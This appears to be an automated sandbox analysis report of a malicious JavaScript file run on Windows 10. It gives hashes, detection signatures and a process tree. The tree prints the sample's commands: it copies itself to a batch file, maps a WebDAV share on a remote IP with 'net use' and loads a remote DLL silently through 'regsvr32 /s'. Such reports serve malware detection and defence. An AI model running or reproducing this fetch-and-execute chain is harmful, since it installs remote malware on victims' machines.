Analysis

  • max time kernel
    91s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 07:34

General

  • Target

    23532216321879230263.js

  • Size

    5KB

  • MD5

    4c4f887f762f7ce1103069246cf8d459

  • SHA1

    1354fc193631ac3dd59d34e70635604a390f803f

  • SHA256

    5fc38b7e8a29ac87dd06eaafcef47cba1df58ef7f59c3dc301e9efdcf2b193f7

  • SHA512

    a25717c834fc3b89f8335abf682f5c0cc8755956abf0b90f2e15448d36c626be056a489e0b9221128e5241a0b7e67126fe0c9183d114fe84ef4455be376d0fa2

  • SSDEEP

    96:aRq67SVjY9YjnPiYjMaLnHi0bfJeitL5OB5rqTVakxqTVx:av4+wiZWnHi0bJeid5OzqT4kxqT/

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\23532216321879230263.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\23532216321879230263.js" "C:\Users\Admin\\ocelss.bat" && "C:\Users\Admin\\ocelss.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:5048
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\198.dll
          3⤵
            PID:1924

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\ocelss.bat

        Filesize

        5KB

        MD5

        4c4f887f762f7ce1103069246cf8d459

        SHA1

        1354fc193631ac3dd59d34e70635604a390f803f

        SHA256

        5fc38b7e8a29ac87dd06eaafcef47cba1df58ef7f59c3dc301e9efdcf2b193f7

        SHA512

        a25717c834fc3b89f8335abf682f5c0cc8755956abf0b90f2e15448d36c626be056a489e0b9221128e5241a0b7e67126fe0c9183d114fe84ef4455be376d0fa2